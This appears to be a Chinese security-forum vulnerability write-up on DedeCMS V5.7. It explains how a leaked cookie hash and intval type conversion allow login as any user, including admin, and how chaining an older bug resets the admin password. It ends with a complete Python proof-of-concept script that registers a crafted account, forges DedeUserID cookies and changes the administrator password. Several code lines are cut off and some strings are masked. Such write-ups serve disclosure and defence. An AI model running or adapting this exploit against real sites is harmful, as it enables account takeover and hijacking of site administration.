登录

DeDecms 任意用户登录,管理员密码重置漏洞分析&POC

茜さす / 2018-01-18 09:43:00 / 浏览数 26593 安全技术 漏洞分析 顶(1) 踩(0)

```
■■■■■■■■■■■—Joseph
■■■■■■■■■■■■—zxc
```

简述

Dedecms是一款开源的PHP开源网站管理系统。

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

前台会员模块是采用Cookie中的 DedeUserID+DedeUserID__ckMd5字段进行身份鉴别

DedeUserID用于定位区别用户，DedeUserID__ckMd5则是服务器生成散列，用于安全验证

Dedecms一处代码由于逻辑不够严谨，导致可以输入字符并获得服务器生成散列

劫持DedeUserID__ckMd5字段，绕过安全校验，配合类型转换造成任意用户登录漏洞

漏洞详细原理

文件位置:dedecms/member/index.php:110行

```
require_once(DEDEMEMBER . '/inc/config_space.php');
if ($action == '') {
   include_once(DEDEINC . "/channelunit.func.php");
   $dpl = new DedeTemplate();
   $tplfile = DEDEMEMBER . "/space/{$_vars['spacestyle']}/index.htm";
   //■■■■■■■■■■■■■■■
   $vtime = time();
   $last_vtime = GetCookie('last_vtime');
   $last_vid = GetCookie('last_vid');
   if (empty($last_vtime)) {
       $last_vtime = 0;
   }
   if ($vtime - $last_vtime > 3600 || !preg_match('#,' . $uid . ',#i', ',' . $last_vid . ',')) {

       if ($last_vid != '') {
           $last_vids = explode(',', $last_vid);
           $i = 0;
           $last_vid = $uid;
           foreach ($last_vids as $lsid) {
               if ($i > 10) {
                   break;
               } else if ($lsid != $uid) {
                   $i++;
                   $last_vid .= ',' . $last_vid;
               }
           }
       } else {
           $last_vid = $uid;
       }
       PutCookie('last_vtime', $vtime, 3600 * 24, '/');
       PutCookie('last_vid', $last_vid, 3600 * 24, '/');
```

这段函数中$uid是我们可控的，如果Cookie中last_vid字段不存在就会走进这个分支

```
} else {
           $last_vid = $uid;
       }
```

也就变为`$last_vid`可控，然后`$last_vid`经过`PutCookie`函数进行处理

顺便一提

文件位置：dedecms/include/helpers/cookie.helper.php

PutCookie这个函数是Dedecms在setcookie时封装的函数

GetCookie这个函数是Dedecms在获取Cookie中值封装的函数

如果Set一个键值对，PutCookie会Set两对Cookie，一个是要SET的键值对

另一个是值和key进行md5的哈希再截取前十六位的安全校验字符串(键名为$key+'__ckMd5')

```
if ( ! function_exists('PutCookie'))
{
   function PutCookie($key, $value, $kptime=0, $pa="/")
   {
       global $cfg_cookie_encode,$cfg_domain_cookie;
       setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
       setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
   }
}
```

GetCookie在返回键值之前，会通过PutCookie生成的十六位安全校验字符串对键值进行安全校验

确保获得的键值对有效且为服务器Set,增强安全性（但这里并不能抵御密文重放）

```
if ( ! function_exists('GetCookie'))
{
   function GetCookie($key)
   {
       global $cfg_cookie_encode;
       if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
       {
           return '';
       }
       else
       {
           if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
           {
               return '';
           }
           else
           {
               return $_COOKIE[$key];
           }
       }
   }
}
```

在$last_vid经过PutCookie函数进行处理后，我们已经在Cookie可以获得校验哈希，绕过安全校验

Payload注入点

文件位置:dedecms/include/memberlogin.class.php:161行

```
function __construct($kptime = -1, $cache=FALSE)
{
   global $dsql;
   if($kptime==-1){
       $this->M_KeepTime = 3600 * 24 * 7;
   }else{
       $this->M_KeepTime = $kptime;
   }
   $formcache = FALSE;
   $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
   $this->M_LoginTime = GetCookie("DedeLoginTime");
   $this->fields = array();
   $this->isAdmin = FALSE;
   if(empty($this->M_ID))
   {
       $this->ResetUser();
   }else{
       $this->M_ID = intval($this->M_ID);
       if ($cache)
       {
           $this->fields = GetCache($this->memberCache, $this->M_ID);
           if( empty($this->fields) )
           {
               $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
           } else {
               $formcache = TRUE;
           }
       } else {
           $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
       }

       if(is_array($this->fields)){
           #api{{
           if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
           {
               if($data = uc_get_user($this->fields['userid']))
               {
                   if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                   {
                       $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                       $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this
                   }
               }
           }
           #/aip}}

           //■■■■■■■■■■■■■■■
           if(time() - $this->M_LoginTime > 3600)
           {
               $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$thi
               PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
           }
           $this->M_LoginID = $this->fields['userid'];
           $this->M_MbType = $this->fields['mtype'];
           $this->M_Money = $this->fields['money'];
           $this->M_UserName = FormatUsername($this->fields['uname']);
           $this->M_Scores = $this->fields['scores'];
           $this->M_Face = $this->fields['face'];
           $this->M_Rank = $this->fields['rank'];
           $this->M_Spacesta = $this->fields['spacesta'];
           $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
           $scrow = $dsql->GetOne($sql);
           $this->fields['honor'] = $scrow['titles'];
           $this->M_Honor = $this->fields['honor'];
           if($this->fields['matt']==10) $this->isAdmin = TRUE;
           $this->M_UpTime = $this->fields['uptime'];
           $this->M_ExpTime = $this->fields['exptime'];
           $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
           if($this->M_Rank>10 && $this->M_UpTime>0){
               $this->M_HasDay = $this->Judgemember();
           }
           if( !$formcache )
           {
               SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
           }
       }else{
           $this->ResetUser();
       }
   }
}
```

我们注入0000001(注册账户的账户名)和对应的__ckMd5校验值

```
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
```

这里必须注册名0000001为的账户，不然没法通过另一个校验页面（校验账户是否存在）

文件位置：dedecms/member/inc/config_space.php

```
if(!is_array($_vars))
{
   ShowMsg("■■■■■■■■■■■■■■■■■■","javascript:;");
   exit();
}
```

$this->M_ID赋值后变为0000001，然后巧妙地经过intval类型转换，变为1，也就是admin的id，也可以是任意用户的id

```
$this->M_ID = intval($this->M_ID);
```

然后带入了SQL查询语句，然后使用查询结果对登录信息进行赋值，造成任意用户登录。

```
else {
   $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}

if(is_array($this->fields)){
   #api{{
   if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
   {
       if($data = uc_get_user($this->fields['userid']))
       {
           if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
           {
               $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
               $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'
           }
       }
   }
   #/aip}}

   //■■■■■■■■■■■■■■■
   if(time() - $this->M_LoginTime > 3600)
   {

       $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->field
       PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
   }
   $this->M_LoginID = $this->fields['userid'];
   $this->M_MbType = $this->fields['mtype'];
   $this->M_Money = $this->fields['money'];
   $this->M_UserName = FormatUsername($this->fields['uname']);
   $this->M_Scores = $this->fields['scores'];
   $this->M_Face = $this->fields['face'];
   $this->M_Rank = $this->fields['rank'];
   $this->M_Spacesta = $this->fields['spacesta'];
   $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
   $scrow = $dsql->GetOne($sql);
   $this->fields['honor'] = $scrow['titles'];
   $this->M_Honor = $this->fields['honor'];
   if($this->fields['matt']==10) $this->isAdmin = TRUE;
   $this->M_UpTime = $this->fields['uptime'];
   $this->M_ExpTime = $this->fields['exptime'];
   $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
```

漏洞演示

①注册0000001账户（用于登录admin,其他账户类推）

②注入Payload并获安全校验值

③

漏洞更深入(管理员密码重置)
①利用之前的老漏洞重置admin的密码，这时只重置了member表里面的admin密码
②利用现在这个漏洞登录admin,然后访问member/edit_baseinfo.php页面，member/edit_baseinfo.php中的修改信息的老密码判断是跟member表进行对比，刚好被我
③满足条件后，修改密码的时候会同时修改admin.member两张表的密码
文件位置:dedecms/member/edit_baseinfo.php:109行

```
if( !in_array($sex, array('■','■','■■')) )
{
   ShowMsg('■■■■■■■■■','-1');
   exit();
}

$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);

//■■■■■■■■■■■■■■
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
   $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
   $dsql->ExecuteNoneQuery($query2);
}
// ■■■■■■
$cfg_ml->DelCache($cfg_ml->M_ID);
ShowMsg('■■■■■■■■■■■','edit_baseinfo.php',0,5000);
exit();
```

POC

```
# coding=utf-8

import requests
import re

if __name__ == "__main__":
   dede_host = "http://127.0.0.1/"
   oldpwd = '123456'
   newpwd = "cnvdcnvd"
   s = requests.Session()

   if '■■■■■■■■■' in requests.get(dede_host + 'member/reg_new.php').content:
       exit('The system has closed the member function .Can not attack !!!')
   else:
       print "The system opened the membership function, I wish you good luck  !!"

   headers = {"Referer": dede_host + "member/reg_new.php"}
   rs = s.get(dede_host + 'include/vdimgck.php').content
   file = open('1.jpg', "wb")
   file.write(rs)
   file.close()

   vdcode = raw_input("Please enter the registration verification code : ")

   userid = '0000001'
   uname = '0000001'
   userpwd = '123456'



   headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
              "Content-Type": "application/x-www-form-urlencoded"}
   data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={user
       userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
   rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
   if "■■■■■" in rs.content:
       exit("Verification code error, account registration failed")
   elif '■■■■' in rs.content:
       print 'registration success !!'

   rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
   if "■■■■■■■■" in rs.content:
       exit("User information has not been approved !!!")  # ■■■■■■■■■■(-10 ■■■■ -1 ■■■■, 0 ■■■)■
   searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
   last_vid__ckMd5 = searchObj.group(1)
   s.cookies['DedeUserID'] = userid
   s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
   rs = s.get(dede_host + "/member/index.php")
```

```
if "class=\"userName\">admin</a>" in rs.text:
    print "Administrator login successful !!"

headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()

vdcode = raw_input("Please enter the verification code : ")

data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
        "safequestion": "0", "newsafequestion": "0", "sex": "■", "email": "admin@admin.com", "vdcode": vdcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
if "■■■■■■■■■■" in  rs.content:
   print "Administrator password modified successfully !!"
   print "The new administrator password is : " + newpwd
else:
    print "attack fail"
```

点击收藏 | 0 关注 | 3

上一篇：Misc 总结 ----流量分析 ... 下一篇：DedeCMS V5.7 SP2前...

1. 1 条回复

tany 2018-01-25 14:29:43

学习了，感谢，测试了一下帐号用/d/w*的方式也可以登录对应的id

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板